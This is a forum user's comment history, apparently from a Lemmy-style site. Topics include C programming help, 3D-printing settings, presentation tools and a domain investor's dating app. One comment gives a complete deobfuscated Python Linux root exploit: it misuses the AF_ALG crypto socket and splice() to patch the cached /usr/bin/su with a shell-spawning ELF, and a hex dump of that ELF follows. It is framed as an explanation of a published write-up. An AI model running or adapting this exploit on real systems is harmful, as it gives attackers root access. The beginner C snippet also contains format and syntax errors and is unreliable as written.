Skip Navigation

Posts
8
Comments
1829
Joined
2 yr. ago

  • homeopathy. you'd think germ theory would have killed it, but no.

  • ah fun! have you checked out ben eater's ongoing youtube series of building a breadboard computer? he's selling kits that allow you to follow along from hardware through binary, assembly, to BASIC and C. well worth a look imo.

  • i hope you get something out of it! C is a rabbithole.

  • you can absolutely save history in an array, but depending on how you want to do it, it can get very complex for a beginner.

    the absolutely easiest way to go about it with how you've structured the program so far is making global arrays of just numbers, one for C->F conversions and one for the other way round. you also need to keep track of where in each array you are so you don't go out of bounds. this requires minimal changes.

     c
        
    float c_to_f[5] ={0,0,0,0,0};
    int c_to_f_length = 5;
    int c_to_f_index = 0;
    
      

    and update your input handler:

     c
        
    scanf("%d", &c_value);
    c_to_f[c_to_f_index] = c_value;
    c_to_f_index++;
    if (c_to_f_index >= c_to_f_length) c_to_f_index = 0;
    
      

    and then when you want to see the list results, you do

     c
        
    for (int i = 0; i < c_to_f_length; i++) {
        printf("%d\n", c_to_f[i];
    }
    
    
      

    this will of course not be in order of insertion, and if you want to show more than just the numbers you need to do some tinkering.

    this is however a great jumping-off point to talk about many different concepts:

    • do you feel like you're just writing the same thing over and over? look into encapsulation and refactoring your program to minimise repetition.
    • do you want to store more information about each entry? time to learn about structs.
    • do you want to store as many entries as you want, without having to specify? go learn about linked lists.
    • do you want to be able to step back and forward through your history? check out the readline library, and learn how to do imports generally.

    sorry if my formatting is off, i did this on my phone...

  • and yet

  • people throwing rocks at firefighters

  • Deleted

    Permanently Deleted

    Jump
  • violet?

  • here's my attempt at deobfuscating it:

     python
        
    #!/usr/bin/env python3
    
    import os
    from ctypes import c_int32 as i32, c_char as char
    import zlib
    import socket as s
    
    
    def inject(file, offset, data):
        # connect to kernel crypto system's aeda endpoint
        sock = s.socket(s.AF_ALG, s.SOCK_SEQPACKET)
        sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
     
        # set cipher key and tag size, then wait for the system to be ready
        sock.setsockopt(s.SOL_ALG, s.ALG_SET_KEY, (char * 68)(8, 0, 1, 0, 0, 0, 0, 16))
        sock.setsockopt(s.SOL_ALG, s.ALG_SET_AEAD_AUTHSIZE, None, optlen=4)
        conn, _ = sock.accept()
     
        # pass in configuration
        conn.sendmsg(
            [b"AAAA" + data],  # pad to tag size
            [
                (s.SOL_ALG, s.ALG_SET_OP, i32(s.ALG_OP_DECRYPT)),  # set operation
                (s.SOL_ALG, s.ALG_SET_IV, (char * 20)(16)),    # set init vector
                (s.SOL_ALG, s.ALG_SET_AEAD_ASSOCLEN, i32(8)),  # set associated data length
            ],
            s.MSG_MORE,
        )
    
        # move file through a pipe to the connection without copying
        r, w = os.pipe()
        os.splice(file, w, offset + 4, offset_src=0)
        os.splice(r, conn.fileno(), offset + 4)
        try:
            conn.recv(8 + offset)
        except:
            pass
    
    
    binary = os.open("/usr/bin/su", os.O_RDONLY)
    offset = 0
    payload = zlib.decompress(
        bytes.fromhex(
            "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301"
            "d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b96"
            "75c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
        )
    )
    
    while offset < len(payload):
        inject(binary, offset, payload[offset : offset + 4])
        offset += 4
    
    os.system("su")
    
      

    as far as i understand the writeup, the weakness is in the splice() function, because it silently crosses an auth boundary. the payload looks like this:

     
        
    00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............ # ELF x86-64 v1, executable
    00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
    00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
    00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8......... # contains 1 56-bit program header
    00000040: 0100 0000 0500 0000 0000 0000 0000 0000  ................ # program header starts
    00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
    00000060: 9e00 0000 0000 0000 9e00 0000 0000 0000  ................ # flags r-x
    00000070: 0010 0000 0000 0000 31c0 31ff b069 0f05  ........1.1..i.. # program starts
    00000080: 488d 3d0f 0000 0031 f66a 3b58 990f 0531  H.=....1.j;X...1
    00000090: ff6a 3c58 0f05 2f62 696e 2f73 6800 0000  .j<X../bin/sh...
    
    
      

    it's an ELF header that replaces the one on the cached version of the binary (su in this case).

    Edit: came back to this because i realized i had the wrong flags. the values were right but they were for the wrong socket type.

  • you'd only need to change the payload part, which is a compiled x86 ELF header.

  • Deleted

    Permanently Deleted

    Jump
  • get rotated idiot

  • kinda, yeah. i halved the print speeds and lowered the fan to 40%, which makes petg come out beautifully given that the support material cooperates. support interface ironing is crucial, as is lowering the interface z distance to basically as low as it can go. if the support interface area is less than like 5mm² it's basically a coin toss as to whether it sticks or not. the extruder can even drag small parts loose on retraction, if your temps are too low. it took finding a detail hanging from the wiping brush for me to figure that one out.

    also, if you're experimenting and still getting spaghetti, one thing to look out for is that there is currently a bug with some of the tree support generation in orca. whenever the slicer generates a big combined tree, check the preview carefully because chances are the supports start in mid-air, 10-20 layers above the plate. there is a setting called "base pattern" that's supposed to work around that but i haven't gotten it to work.

  • oh for some reason i thought you meant like some sort of generic cash vouchers. i even have those mullvad scratch-offs myself. i'm a dumb.

  • not outside the us.

  • also you can pay their fee using cash in an envelope.

    don't send cash in the mail by the way.

  • the reason i'm super negative is that the blog post makes no sense. he's overpaid massively for a domain because it used to have an old forum on it, and he is now announcing his intention to build a thing using that name which is nothing like it, to recapture a feeling of nostalgia for another app which is nothing like the first two. and he is marketing it as a way to meet new people despite he fact that you have to meet people before you can see them in the app.

    this has amico written all over it.

    like, how do you even reach critical mass if the barrier to entry is intentionally set 20 meters off the ground? why market yourself with an old forgotten name despite not resembling the old thing at all? why announce it before you have something to show?

  • i use latex beamer templates for presentations. it's hard to fuck up displaying a pdf. if you want you can use markdown -> pandoc -> tectonic to skip writing latex.

  • but the us is only 5% of the potential market, and most countries don't use primarily iphones. western europe is around 35% apple and that's as high as it goes internationally

  • any european ones?

  • I'm in the domain name business

    it's called "cybersquatting". fuck all the way off.

    also

    "my wife and i met on okcupid and i want more people to make connections like that" creates an app that's only available on 20% of phones and requires meeting in person to connect

    this guy is delulu